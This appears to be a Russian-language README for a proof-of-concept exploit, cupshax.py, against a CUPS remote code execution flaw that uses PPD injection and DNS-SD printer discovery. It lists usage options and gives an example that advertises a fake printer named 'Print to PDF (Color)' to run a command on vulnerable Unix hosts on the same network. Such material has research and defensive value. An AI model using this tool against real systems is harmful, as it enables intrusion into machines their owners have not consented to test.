
Быстрый proof-of-concept для недавней эксплуатации уязвимости CUPS, позволяющей удаленное выполнение кода через инъекцию PPD и обнаружение принтеров через DNS-SD. Выполняет произвольные команды на уязвимых Unix-системах.
Быстрый proof of concept для недавнего эксплойта CUPS. Я планировал довести его до ума, но эмбарго сняли гораздо раньше, чем ожидалось, так что код немного сыроват.
Что касается всех технических деталей, честно говоря, вам стоит просто прочитать статью Evilsocket.
Этот эксплойт был написан после обнаружения этого коммита в публичном репозитории OpenPrinting CUPS. Вероятно, существуют более аккуратные точки инъекции.
Этот PoC использует обнаружение принтеров через dns-sd, поэтому цель должна иметь возможность получать широковещательное сообщение, то есть находиться в той же сети.
Эксплойт использует zeroconf и ippserver, оба можно установить через pip.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
Например:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3